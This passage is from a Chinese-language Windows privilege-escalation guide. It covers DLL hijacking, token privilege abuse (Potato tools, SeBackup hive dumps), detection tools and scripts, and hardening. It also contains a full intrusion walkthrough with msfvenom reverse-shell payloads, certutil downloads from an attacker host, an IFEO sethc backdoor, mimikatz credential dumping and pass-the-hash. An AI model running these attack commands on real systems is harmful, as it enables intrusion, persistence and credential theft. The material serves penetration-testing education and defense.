accesschk.exe -uwdqs "Users" "C:\Program Files\TargetApp\"
# 输出: RW Users → 可写
# Step 4: 生成恶意 DLL
# 使用 msfvenom 生成 DLL 格式的 payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4449 -f dll -o /tmp/version.dll
# 或使用 Meterpreter:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4449 -f dll -o /tmp/version.dll
# Step 5: 上传恶意 DLL 到目标目录
copy \\10.0.0.5\share\version.dll "C:\Program Files\TargetApp\version.dll"
# Step 6: 监听
nc -lvnp 4449
# Step 7: 触发 DLL 加载 (重启服务/等待计划任务)
sc stop "TargetApp"
sc start "TargetApp"
# Step 8: 接收 SYSTEM shell
whoami
# nt authority\system
# === 高级技巧: DLL 代理 (DLL Proxying) ===
# 为了不影响目标进程正常运行, 可以创建一个代理 DLL:
# 代理 DLL 导出原始 DLL 的所有函数, 并转发到真实 DLL,
# 同时在 DllMain 中执行恶意代码
# 生成代理 DLL 的步骤:
# 1. 使用 tools.dll (或 spf.exe) 提取原始 DLL 的导出表
# 2. 创建 .def 文件定义导出转发
# 3. 编译代理 DLL
9.4 防御措施
:: 1. 修复应用程序目录权限
icacls "C:\Program Files\TargetApp" /inheritance:r /grant:r "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F" "Users:(OI)(CI)RX"
:: 2. 应用程序应使用绝对路径加载 DLL
:: 开发时使用 LoadLibraryEx 配合 LOAD_LIBRARY_SEARCH_SYSTEM32 标志
:: 或在应用程序清单中声明依赖
:: 3. 启用 SafeDllSearchMode (默认已启用)
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode
:: 应为 1 (启用)
:: 4. 监控高权限进程目录中的新文件创建
:: Sysmon Event ID 11 (FileCreate) + 进程完整性级别过滤
10. 路径八:令牌权限滥用
10.1 原理详解
Windows 令牌(Token)中包含的权限(Privileges)决定了进程能执行哪些特权操作。某些权限即使在不完整的令牌(非管理员令牌)中也可能存在,这些权限可以被滥用来实现提权。
关键可滥用权限:
SeImpersonatePrivilege
→ 可以模拟客户端令牌
→ Potato 系列提权 (JuicyPotato/RoguePotato/PrintSpoofer/CoercedPotato)
→ 原理: 诱骗高权限服务连接到攻击者的命名管道/RPC端点
→ 获取 SYSTEM 令牌 → 模拟 → 创建 SYSTEM 进程
SeDebugPrivilege
→ 可以打开任何进程(包括SYSTEM进程)的句柄
→ 注入 SYSTEM 进程 (如 winlogon.exe, lsass.exe)
→ 在 SYSTEM 进程中执行代码 → 等价于 SYSTEM 权限
SeAssignPrimaryTokenPrivilege
→ 可以为新进程分配主令牌
→ 配合 SeIncreaseQuotaPrivilege 创建高权限进程
SeTcbPrivilege
→ Act as part of the operating system
→ 可直接调用 LsaLogonUser 创建 SYSTEM 令牌
→ 最强大的权限, 几乎等价于 SYSTEM
SeBackupPrivilege / SeRestorePrivilege
→ 可读写任意文件(绕过 ACL)
→ 读取 SAM/SYSTEM 注册表 hive → 导出密码哈希
→ 或读取其他敏感文件
10.2 检测方法
:: 方法1: 检查当前用户的权限
whoami /priv
:: 重点关注: SeImpersonatePrivilege, SeDebugPrivilege, SeTcbPrivilege
:: 方法2: 检查哪些用户/组拥有这些权限
:: 导出当前策略
secedit /export /cfg policy.inf /quiet
:: 查看 SeImpersonatePrivilege, SeDebugPrivilege 的分配
:: 方法3: PowerShell 检查令牌权限
powershell -Command "
whoami /priv
:: 关注:
:: SeImpersonatePrivilege Enabled ← 可用 Potato 提权
:: SeDebugPrivilege Enabled ← 可注入 SYSTEM 进程
:: SeTcbPrivilege Enabled ← 直接创建 SYSTEM 令牌
:: SeAssignPrimaryTokenPrivilege Enabled ← 可分配令牌
"
:: 方法4: 检查服务账户的权限
sc qc "SomeService"
:: 查看服务的运行账户, 服务账户通常有 SeImpersonatePrivilege
10.3 利用步骤
# === 方式A: SeImpersonatePrivilege → PrintSpoofer / Potato 系列 ===
# 前提: whoami /priv 显示 SeImpersonatePrivilege
# 常见于: IIS 服务账户、SQL Server 服务账户、Windows 服务账户
# PrintSpoofer (Windows 10/Server 2019+):
PrintSpoofer.exe -i -c "cmd.exe"
# -i 交互模式, 直接弹出 SYSTEM cmd
PrintSpoofer.exe -c "C:\Temp\evil.exe"
# 执行指定程序
# JuicyPotato (Windows 10 1809 之前, Server 2016 之前):
JuicyPotato.exe -l 1337 -p C:\Temp\evil.exe -t * -c {CLSID}
# -l: COM 监听端口
# -p: 要执行的程序
# -t: 创建方式 (* = 尝试所有)
# -c: CLSID (选择一个 SYSTEM 权限的 COM 对象)
# RoguePotato (跨机器, 绕过 Windows 10 1809 限制):
# 攻击机:
socat TCP-LISTEN:135,fork TCP:10.0.0.6:9999
# 目标机:
RoguePotato.exe -r 10.0.0.5 -e "C:\Temp\evil.exe" -l 9999
# GodPotato (更通用的版本, .NET 环境下):
GodPotato.exe -cmd "cmd /c whoami"
# === 方式B: SeDebugPrivilege → 进程注入 ===
# 前提: whoami /priv 显示 SeDebugPrivilege (且 Enabled)
# 常见于: 本地管理员(High Integrity)、某些服务账户
# 使用 Metasploit 的 migrate 模块:
# 获得 meterpreter shell 后:
meterpreter > getsystem
# 或手动迁移到 SYSTEM 进程:
meterpreter > ps
# 找到 SYSTEM 权限进程 (如 winlogon.exe PID=xxx)
meterpreter > migrate xxx
# 迁移后, 当前会话变为 SYSTEM 权限
# 手动进程注入 (C# 伪代码):
# 1. OpenProcess(winlogon_pid, PROCESS_ALL_ACCESS)
# 2. VirtualAllocEx 在目标进程分配内存
# 3. WriteProcessMemory 写入 shellcode
# 4. CreateRemoteThread 在目标进程创建线程执行 shellcode
# 5. shellcode 在 SYSTEM 进程上下文中执行 → SYSTEM 权限
# === 方式C: SeBackupPrivilege → 读取 SAM/SYSTEM ===
# 前提: whoami /priv 显示 SeBackupPrivilege
# 可读取通常受 ACL 保护的文件
# 使用 robocopy 备份模式 (绕过 ACL):
robocopy /b C:\Windows\System32\config C:\Temp\hives SAM SYSTEM
# 或使用 diskshadow:
diskshadow.exe
> set context persistent nowriters
> add volume c: alias mydrive
> create
> expose %mydrive% z:
> exit
# 然后从 z: 盘复制 SAM/SYSTEM
# 提取密码哈希:
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
# 或使用 mimikatz:
# lsadump::sam /sam:SAM /system:SYSTEM
# === 方式D: SeTcbPrivilege → 直接 SYSTEM 令牌 ===
# 前提: whoami /priv 显示 SeTcbPrivilege
# 罕见但极其危险, 通常是 SYSTEM 自身或特定服务
# 调用 LsaLogonUser 创建 SYSTEM 登录会话:
# (需要自定义 C 代码实现)
10.4 防御措施
:: 1. 通过组策略限制危险权限的分配
:: GPO: Computer Configuration > Windows Settings > Security Settings >
:: Local Policies > User Rights Assignment
:: 确保:
:: "Impersonate a client after authentication" → 仅 Administrators, SERVICE, LOCAL SERVICE, NETWORK SERVICE
:: "Debug programs" → 仅 Administrators (默认)
:: "Act as part of the operating system" → 无 (默认不分配)
:: 2. 导出并审计当前权限分配策略
secedit /export /cfg C:\Temp\policy.inf /quiet
findstr /i "SeImpersonate SeDebug SeTcb SeAssignPrimary" C:\Temp\policy.inf
:: 3. 服务账户最小权限
:: 避免使用 LocalSystem 运行服务, 改用低权限的虚拟账户:
sc config "MyService" obj= "NT SERVICE\MyService"
:: 或使用组托管服务账户 (gMSA)
:: 4. 启用 SMB 签名 (防御 RoguePotato 的 SMB 中继)
:: GPO: Microsoft network server: Digitally sign communications (always) → Enabled
11. 八种提权路径对比表
| 编号 | 提权路径 | 触发条件 | 检测难度 | 利用难度 | 影响范围 | 常见度 |
|---|---|---|---|---|---|---|
| 1 | 未加引号服务路径 | 服务路径含空格未加引号 + 目录可写 | 低 | 低 | 单机 SYSTEM | 高 |
| 2 | 可写服务二进制路径 | 服务 EXE 文件/目录可写 | 低 | 低 | 单机 SYSTEM | 高 |
| 3 | 弱服务权限配置 | 普通用户有 SERVICE_CHANGE_CONFIG | 中 | 低 | 单机 SYSTEM | 中 |
| 4 | AlwaysInstallElevated | HKLM + HKCU 均设为 1 | 低 | 极低 | 单机 SYSTEM | 中 |
| 5 | 注册表键值劫持(IFEO) | IFEO Debugger 被设置 + 辅助功能触发 | 低 | 低 | 单机 SYSTEM | 中 |
| 6 | 计划任务滥用 | 高权限计划任务指向可写路径 | 中 | 中 | 单机 SYSTEM | 中 |
| 7 | DLL 劫持 | SYSTEM 进程目录可写 + 缺失 DLL | 高(需 ProcMon) | 中 | 单机 SYSTEM | 低 |
| 8 | 令牌权限滥用 | SeImpersonate/SeDebug 权限存在 | 低 | 中-高 | 单机 SYSTEM | 高 |
检测难度说明:低 = 简单命令行即可检测;中 = 需要交叉分析权限和路径;高 = 需要动态监控工具(如 ProcMon)。
利用难度说明:低 = 单条命令即可利用;中 = 需要生成 payload + 多步操作;高 = 需要特定工具和精确时序。
12. 自动化检测工具
12.1 PowerUp.ps1
PowerUp 是 PowerSploit 框架中的提权检测模块,可以自动化检测本文所述的大部分配置问题。
# ============================================================
# PowerUp.ps1 使用指南
# ============================================================
# 1. 导入模块
Import-Module .\PowerUp.ps1
# 或在受限环境下:
. .\PowerUp.ps1
# 2. 一键检测所有配置问题
Invoke-AllChecks
# 输出所有检测到的提权路径, 包含:
# - 未加引号服务路径
# - 可写服务路径
# - 弱服务权限
# - AlwaysInstallElevated
# - 注册表自动运行项
# - 可写计划任务路径
# - DLL 劫持可能性
# 3. 单项检测
# 检测未加引号服务路径
Get-ServiceUnquoted -Verbose
# 检测可写服务文件路径
Get-ModifiableServiceFile -Verbose
# 检测弱服务权限
Get-ModifiableService -Verbose
# 检测 AlwaysInstallElevated
Get-RegistryAlwaysInstallElevated
# 检测注册表自动运行项
Get-RegistryAutoLogon
# 检测可写计划任务
Get-ModifiableScheduledTaskFile
# 4. 自动利用 (PowerUp 内置利用函数)
# 利用未加引号服务路径:
Invoke-ServiceAbuse -Name "VulnSvc" -Command "net user hacker P@ss /add"
# 利用可写服务文件:
Invoke-ServiceAbuse -Name "VulnSvc" -Command "C:\Temp\evil.exe"
# 写入恶意 EXE 到可写路径:
Write-UserAddServiceBinary -Name "VulnSvc" -UserName "backdoor" -Password "P@ssw0rd"
# 恢复:
Restore-ServiceBinary -Name "VulnSvc"
12.2 WinPEAS
WinPEAS 是一款全面的 Windows 提权检测工具,用 C# 编写,无需 PowerShell。
:: WinPEAS 使用方法
:: 1. 运行完整检测
winpeas.exe
:: 2. 运行快速检测
winpeas.exe fast
:: 3. 输出会自动高亮标记可利用项:
:: 红色 = 高风险可利用项
:: 黄色 = 中风险
:: 绿色 = 信息
:: WinPEAS 检测内容覆盖:
:: - 服务配置 (路径/权限)
:: - 注册表提权键
:: - 计划任务
:: - DLL 劫持候选
:: - 令牌权限
:: - 可写目录/文件
:: - 自动运行程序
:: - 网络配置
:: - 已安装软件(含已知漏洞)
:: - 防火墙规则
:: - 存储的凭据
12.3 PrivescCheck
# PrivescCheck 是另一个 PowerShell 提权检测工具
# 更新更活跃, 适合现代 Windows 环境
# 导入并运行
Import-Module .\PrivescCheck.ps1
Invoke-PrivescCheck
# 或直接运行:
.\PrivescCheck.ps1
# 输出 HTML 报告:
Invoke-PrivescCheck -Report PrivescCheck_report.html -Format HTML
13. 自动化检测脚本
以下是一个综合性的 PowerShell 检测脚本,覆盖本文所述的全部 8 种配置问题:
# ============================================================
# Windows 配置后门提权综合检测脚本
# 检测8种常见配置提权路径
# ============================================================
#Requires -Version 5.0
$ErrorActionPreference = "SilentlyContinue"
Write-Host ""
Write-Host "============================================" -ForegroundColor Cyan
Write-Host " Windows 配置后门提权检测脚本 v1.0" -ForegroundColor Cyan
Write-Host " 检测8种常见配置提权路径" -ForegroundColor Cyan
Write-Host "============================================" -ForegroundColor Cyan
Write-Host ""
$findings = @()
# ------------------------------------------------------------
# 检测1: 未加引号的服务路径
# ------------------------------------------------------------
Write-Host "[*] 检测1: 未加引号的服务路径..." -ForegroundColor Yellow
$services = Get-WmiObject Win32_Service | Where-Object {
$_.PathName -ne $null -and
$_.PathName -notmatch '^"' -and
$_.PathName -match ' ' -and
$_.PathName -match '\.exe'
}
foreach ($svc in $services) {
$path = $svc.PathName -replace ' .*$', '' -replace '^"', ''
$dir = Split-Path $path -Parent
if ($dir -and (Test-Path $dir)) {
$acl = Get-Acl $dir
foreach ($rule in $acl.Access) {
if ($rule.IdentityReference -match 'Users|Everyone' -and
$rule.FileSystemRights -match 'Write|Modify|FullControl') {
$msg = "[!] 未加引号服务路径: $($svc.Name) → $path (目录可写: $dir)"
Write-Host $msg -ForegroundColor Red
$findings += $msg
break
}
}
}
}
# ------------------------------------------------------------
# 检测2: 可写的服务二进制文件路径
# ------------------------------------------------------------
Write-Host "`n[*] 检测2: 可写的服务二进制文件路径..." -ForegroundColor Yellow
$services = Get-WmiObject Win32_Service | Where-Object { $_.PathName -ne $null }
foreach ($svc in $services) {
$path = $svc.PathName -replace '^"', '' -replace '"\s*.*$', '' -replace ' -.*$', '' -replace ' /.*$', ''
$dir = Split-Path $path -Parent
if ($dir -and (Test-Path $dir) -and (Test-Path $path)) {
# 检查文件权限
$fileAcl = Get-Acl $path
foreach ($rule in $fileAcl.Access) {
if ($rule.IdentityReference -match 'Users|Everyone' -and
$rule.FileSystemRights -match 'Write|Modify|FullControl') {
$msg = "[!] 可写服务文件: $($svc.Name) → $path"
Write-Host $msg -ForegroundColor Red
$findings += $msg
break
}
}
}
}
# ------------------------------------------------------------
# 检测3: 弱服务权限配置
# ------------------------------------------------------------
Write-Host "`n[*] 检测3: 弱服务权限配置..." -ForegroundColor Yellow
$allServices = Get-Service
foreach ($svc in $allServices) {
$sddl = (sc.exe sdshow $svc.Name)[1]
if ($sddl -match 'WP.*;;IU|WP.*;;BU|WP.*;;WD|FA.*;;IU|FA.*;;BU') {
$msg = "[!] 弱服务权限: $($svc.Name) → SDDL: $sddl"
Write-Host $msg -ForegroundColor Red
$findings += $msg
}
}
# ------------------------------------------------------------
# 检测4: AlwaysInstallElevated
# ------------------------------------------------------------
Write-Host "`n[*] 检测4: AlwaysInstallElevated 注册表键..." -ForegroundColor Yellow
$hklm = (Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -ErrorAction SilentlyContinue).AlwaysInstallElevated
$hkcu = (Get-ItemProperty 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -ErrorAction SilentlyContinue).AlwaysInstallElevated
if ($hklm -eq 1 -and $hkcu -eq 1) {
$msg = "[!] AlwaysInstallElevated 已启用! (HKLM=$hklm, HKCU=$hkcu) → MSI以SYSTEM执行!"
Write-Host $msg -ForegroundColor Red
$findings += $msg
} else {
Write-Host " [-] AlwaysInstallElevated 未启用 (HKLM=$hklm, HKCU=$hkcu)" -ForegroundColor Green
}
# ------------------------------------------------------------
# 检测5: 注册表键值劫持 (IFEO)
# ------------------------------------------------------------
Write-Host "`n[*] 检测5: IFEO 注册表劫持..." -ForegroundColor Yellow
$ifeoBase = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options'
$ifeoKeys = Get-ChildItem $ifeoBase -ErrorAction SilentlyContinue
$accessibilityTools = @('sethc.exe','utilman.exe','osk.exe','Magnify.exe','Narrator.exe','DisplaySwitch.exe')
foreach ($key in $ifeoKeys) {
$debugger = (Get-ItemProperty $key.PSPath -ErrorAction SilentlyContinue).Debugger
if ($debugger) {
$severity = if ($accessibilityTools -contains $key.PSChildName) { "高危" } else { "中危" }
$msg = "[!] IFEO 劫持 ($severity): $($key.PSChildName) → Debugger: $debugger"
Write-Host $msg -ForegroundColor Red
$findings += $msg
}
}
# ------------------------------------------------------------
# 检测6: 计划任务滥用
# ------------------------------------------------------------
Write-Host "`n[*] 检测6: 计划任务可写路径..." -ForegroundColor Yellow
$tasks = Get-ScheduledTask -ErrorAction SilentlyContinue | Where-Object { $_.State -ne 'Disabled' }
foreach ($task in $tasks) {
foreach ($action in $task.Actions) {
if ($action.Execute) {
$exePath = $action.Execute -replace '"', ''
$dir = Split-Path $exePath -Parent
if ($dir -and (Test-Path $dir)) {
$acl = Get-Acl $dir
foreach ($rule in $acl.Access) {
if ($rule.IdentityReference -match 'Users|Everyone' -and
$rule.FileSystemRights -match 'Write|Modify|FullControl') {
$runAs = if ($task.Principal.UserId) { $task.Principal.UserId } else { $task.Principal.GroupId }
$msg = "[!] 可写计划任务: $($task.TaskName) → $exePath (运行身份: $runAs)"
Write-Host $msg -ForegroundColor Red
$findings += $msg
break
}
}
}
}
}
}
# ------------------------------------------------------------
# 检测7: DLL 劫持风险 (SYSTEM进程可写目录)
# ------------------------------------------------------------
Write-Host "`n[*] 检测7: SYSTEM进程可写目录 (DLL劫持风险)..." -ForegroundColor Yellow
$systemProcs = Get-WmiObject Win32_Process | Where-Object {
$_.ExecutablePath -ne $null -and
$_.ExecutablePath -notmatch 'System32|SysWOW64|Windows\\'
}
$checkedDirs = @{}
foreach ($proc in $systemProcs) {
$dir = Split-Path $proc.ExecutablePath -Parent
if ($dir -and -not $checkedDirs.ContainsKey($dir) -and (Test-Path $dir)) {
$checkedDirs[$dir] = $true
$acl = Get-Acl $dir
foreach ($rule in $acl.Access) {
if ($rule.IdentityReference -match 'Users|Everyone' -and
$rule.FileSystemRights -match 'Write|Modify|FullControl') {
$msg = "[!] 可写进程目录(DLL劫持): $dir (进程: $($proc.Name))"
Write-Host $msg -ForegroundColor Red
$findings += $msg
break
}
}
}
}
# ------------------------------------------------------------
# 检测8: 令牌权限滥用
# ------------------------------------------------------------
Write-Host "`n[*] 检测8: 危险令牌权限..." -ForegroundColor Yellow
$privs = whoami /priv
$dangerousPrivs = @{
'SeImpersonatePrivilege' = '可进行Potato系列提权'
'SeDebugPrivilege' = '可注入SYSTEM进程'
'SeTcbPrivilege' = '可直接创建SYSTEM令牌'
'SeAssignPrimaryTokenPrivilege' = '可分配主令牌'
'SeBackupPrivilege' = '可读取任意文件(SAM/SYSTEM)'
'SeRestorePrivilege' = '可写入任意文件'
}
foreach ($priv in $dangerousPrivs.Keys) {
if ($privs -match $priv) {
$msg = "[!] 危险权限存在: $priv ($($dangerousPrivs[$priv]))"
Write-Host $msg -ForegroundColor Red
$findings += $msg
}
}
# ------------------------------------------------------------
# 汇总报告
# ------------------------------------------------------------
Write-Host "`n============================================" -ForegroundColor Cyan
Write-Host " 检测完成 - 汇总报告" -ForegroundColor Cyan
Write-Host "============================================" -ForegroundColor Cyan
Write-Host "发现问题数量: $($findings.Count)" -ForegroundColor $(if ($findings.Count -gt 0) { 'Red' } else { 'Green' })
Write-Host ""
if ($findings.Count -gt 0) {
Write-Host "发现的问题清单:" -ForegroundColor Red
for ($i = 0; $i -lt $findings.Count; $i++) {
Write-Host " $($i + 1). $($findings[$i])" -ForegroundColor Yellow
}
} else {
Write-Host " 未发现配置后门提权路径" -ForegroundColor Green
}
# 导出报告到文件
$reportPath = "$env:TEMP\privesc_audit_$(Get-Date -Format 'yyyyMMdd_HHmmss').txt"
$findings | Out-File -FilePath $reportPath -Encoding UTF8
Write-Host "`n报告已保存: $reportPath" -ForegroundColor Cyan
14. 实战案例:内网渗透提权全流程
以下是一个模拟内网渗透场景,展示从低权限用户通过配置后门逐步提权到 SYSTEM 的完整过程。
┌─────────────────────────────────────────────────────────────────────────────┐
│ 实战案例: 内网渗透提权全流程 │
│ │
│ [阶段1] 初始 foothold │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ 攻击者通过钓鱼邮件获得内网普通用户(appluser)的 shell │ │
│ │ 权限: Medium Integrity, 无管理员权限 │ │
│ │ whoami /priv → 仅 SeChangeNotifyPrivilege │ │
│ └────────────────────────┬────────────────────────────────────┘ │
│ ▼ │
│ [阶段2] 信息收集 │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ 1. systeminfo → Windows Server 2019, 无最新补丁 │ │
│ │ 2. whoami /priv → 检查权限(暂无可利用) │ │
│ │ 3. 运行 PowerUp Invoke-AllChecks │ │
│ │ 4. 运行 WinPEAS │ │
│ │ 5. 发现多个配置问题: │ │
│ │ a) AlwaysInstallElevated = 1 (HKLM + HKCU) │ │
│ │ b) 未加引号服务路径: C:\Program Files\CorpApp\svc.exe │ │
│ │ c) 弱服务权限: VulnBackup 服务有 CHANGE_CONFIG │ │
│ └────────────────────────┬────────────────────────────────────┘ │
│ ▼ │
│ [阶段3] 提权 (选择最简单的路径) │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ 方法: 利用 AlwaysInstallElevated (最简单, 单条命令) │ │
│ │ │ │
│ │ 1. 攻击机生成恶意 MSI: │ │
│ │ msfvenom -p windows/shell_reverse_tcp │ │
│ │ LHOST=10.10.0.5 LPORT=4444 -f msi -o evil.msi │ │
│ │ │ │
│ │ 2. 上传 MSI 到目标: │ │
│ │ certutil -f -split http://10.10.0.5/evil.msi C:\Temp\ │ │
│ │ │ │
│ │ 3. 安装 MSI: │ │
│ │ msiexec /quiet /qn /i C:\Temp\evil.msi │ │
│ │ │ │
│ │ 4. 获得 SYSTEM shell: │ │
│ │ whoami → nt authority\system │ │
│ └────────────────────────┬────────────────────────────────────┘ │
│ ▼ │
│ [阶段4] 持久化 (利用 IFEO 劫持) │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ 1. 生成后门程序: │ │
│ │ msfvenom -p windows/shell_reverse_tcp │ │
│ │ LHOST=10.10.0.5 LPORT=4445 -f exe -o backdoor.exe │ │
│ │ 上传到 C:\Windows\Temp\backdoor.exe │ │
│ │ │ │
│ │ 2. 设置 IFEO Debugger: │ │
│ │ reg add "HKLM\...\Image File Execution Options\sethc.exe"│ │
│ │ /v Debugger /t REG_SZ /d "C:\Windows\Temp\backdoor.exe"│ │
│ │ │ │
│ │ 3. 后续访问: 锁屏 → 按 Shift 5次 → 获得 SYSTEM shell │ │
│ └────────────────────────┬────────────────────────────────────┘ │
│ ▼ │
│ [阶段5] 横向移动 (利用 SeDebugPrivilege) │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ 1. SYSTEM shell 中 whoami /priv → SeDebugPrivilege Enabled │ │
│ │ 2. 使用 mimikatz 导出 lsass.exe 中的凭据: │ │
│ │ sekurlsa::logonpasswords │ │
│ │ 3. 获得域管理员 NTLM 哈希 │ │
│ │ 4. Pass-the-Hash 横向到域控 │ │
│ └─────────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────────────┘
实战关键命令序列
:: === 阶段2: 信息收集 ===
whoami /priv
systeminfo
net user appluser
:: 运行 PowerUp
powershell -ExecutionPolicy Bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"
:: 手动确认 AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: === 阶段3: 提权 ===
:: (在攻击机)
:: msfvenom -p windows/shell_reverse_tcp LHOST=10.10.0.5 LPORT=4444 -f msi -o evil.msi
:: python3 -m http.server 80
:: (在目标机)
certutil -urlcache -split -f "http://10.10.0.5/evil.msi" "C:\Temp\evil.msi"
msiexec /quiet /qn /i C:\Temp\evil.msi
:: (攻击机监听)
:: nc -lvnp 4444
:: → 获得 SYSTEM shell
whoami
:: nt authority\system
:: === 阶段4: 持久化 ===
:: 上传后门
certutil -urlcache -split -f "http://10.10.0.5/backdoor.exe" "C:\Windows\Temp\backdoor.exe"
:: 设置 IFEO 劫持
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f
:: 验证: 锁屏
rundll32.exe user32.dll,LockWorkStation
:: 按 Shift 5次 → 触发后门 → SYSTEM shell
:: === 阶段5: 凭据提取与横向 ===
:: 下载 mimikatz
certutil -urlcache -split -f "http://10.10.0.5/mimikatz.exe" "C:\Temp\mimikatz.exe"
:: 导出凭据
C:\Temp\mimikatz.exe "sekurlsa::logonpasswords" "exit"
:: 使用获取的域管哈希进行 Pass-the-Hash
:: (在其他机器上)
C:\Temp\mimikatz.exe "sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 /run:cmd.exe" "exit"
15. 防御方案
15.1 安全基线配置
企业应建立完善的 Windows 安全配置基线,以下是最关键的配置项:
# ============================================================
# Windows 安全基线加固脚本
# ============================================================
# 1. 禁用 AlwaysInstallElevated
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
# 2. 清理所有 IFEO Debugger 键值
$ifeoPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"
Get-ChildItem $ifeoPath | ForEach-Object {
$debugger = (Get-ItemProperty $_.PSPath).Debugger
if ($debugger) {
Remove-ItemProperty -Path $_.PSPath -Name "Debugger" -Force
Write-Host "已清除 IFEO Debugger: $($_.PSChildName)"
}
}
# 3. 修复所有服务路径为加引号格式
Get-WmiObject Win32_Service | ForEach-Object {
if ($_.PathName -and $_.PathName -notmatch '^"' -and $_.PathName -match ' ') {
$exePath = $_.PathName -replace ' .*$', ''
$args = $_.PathName -replace [regex]::Escape($exePath), ''
$newPath = '"' + $exePath + '"' + $args
try {
sc.exe config $_.Name binPath= $newPath
Write-Host "已修复服务路径: $($_.Name)"
} catch {
Write-Host "修复失败: $($_.Name) - $($_.Exception.Message)"
}
}
}
# 4. 收紧危险权限分配
# 通过 secedit 导入安全模板
secedit /configure /db secedit.sdb /cfg security_template.inf /log security.log
# security_template.inf 关键配置:
# [Privilege Rights]
# SeImpersonatePrivilege = *S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-6
# SeDebugPrivilege = *S-1-5-32-544
# SeTcbPrivilege =
# SeAssignPrimaryTokenPrivilege = *S-1-5-19,*S-1-5-20
# 5. 确保 SafeDllSearchMode 启用
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode /t REG_DWORD /d 1 /f
# 6. 启用 SMB 签名 (防御 Potato 攻击)
reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v RequireSecuritySignature /t REG_DWORD /d 1 /f
15.2 定期审计清单
| 审计项 | 审计频率 | 审计方法 | 责任人 |
|---|---|---|---|
| 服务路径引号 | 每月 | sc qc 逐项检查 / 自动化脚本 |
运维团队 |
| 服务文件/目录权限 | 每月 | accesschk / icacls 批量扫描 |
运维团队 |
| 服务 SDDL 权限 | 每季度 | sc sdshow 审计 |
安全团队 |
| AlwaysInstallElevated | 每月 | 注册表查询 / GPO 合规检查 | 安全团队 |
| IFEO Debugger 键 | 每周 | 注册表扫描 / Sysmon 告警 | 安全团队 |
| 计划任务路径权限 | 每月 | schtasks + accesschk |
运维团队 |
| DLL 搜索路径 | 每季度 | ProcMon 分析 / 目录权限审计 | 安全团队 |
| 令牌权限分配 | 每季度 | secedit /export 审计 |
安全团队 |
| 辅助功能文件完整性 | 每周 | 文件哈希校验 | 安全团队 |
15.3 最小权限原则
从根本上减少配置后门提权风险的最佳实践是严格遵循最小权限原则:
-
服务账户降权:避免使用
LocalSystem运行服务,改用NT SERVICE\服务名虚拟账户或 gMSA(组托管服务账户)。虚拟账户仅有最小必要权限,即使被攻破也难以提权。 -
目录权限隔离:所有服务/应用程序安装目录应仅允许
SYSTEM和Administrators写入,普通用户仅读取和执行权限。 -
UAC 始终启用:确保 UAC 处于"始终通知"级别(
ConsentPromptBehaviorAdmin = 2),防止静默提权。 -
AppLocker / WDAC:部署应用白名单策略,限制可执行文件和脚本的运行路径,阻止攻击者在可写目录放置恶意 EXE/DLL/MSI。
-
定期合规扫描:使用 CIS Benchmark 或 Microsoft Security Baseline 进行定期合规性扫描,确保系统配置符合安全标准。
# 验证关键安全基线是否到位
Write-Host "=== 安全基线验证 ===" -ForegroundColor Cyan
# 检查 AlwaysInstallElevated
$aie = (Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -ErrorAction SilentlyContinue).AlwaysInstallElevated
Write-Host "AlwaysInstallElevated (HKLM): $aie $(if($aie -eq 0 -or $aie -eq $null){'OK'}else{'FAIL'})"
# 检查 UAC 级别
$uac = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System').ConsentPromptBehaviorAdmin
Write-Host "UAC Level: $uac $(if($uac -eq 2){'OK(Always Notify)'}elseif($uac -eq 5){'WARN(Default)'})else{'FAIL'})"
# 检查 SafeDllSearchMode
$safeDll = (Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager' -ErrorAction SilentlyContinue).SafeDllSearchMode
Write-Host "SafeDllSearchMode: $safeDll $(if($safeDll -eq 1){'OK'}else{'FAIL'})"
# 检查 IFEO 清洁度
$ifeoCount = (Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options' | ForEach-Object { (Get-ItemProperty $_.PSPath).Debugger } | Where-Object { $_ }).Count
Write-Host "IFEO Debugger entries: $ifeoCount $(if($ifeoCount -eq 0){'OK'}else{'FAIL'})"
16. 免责声明
本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC 代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。
浙公网安备 33010602011771号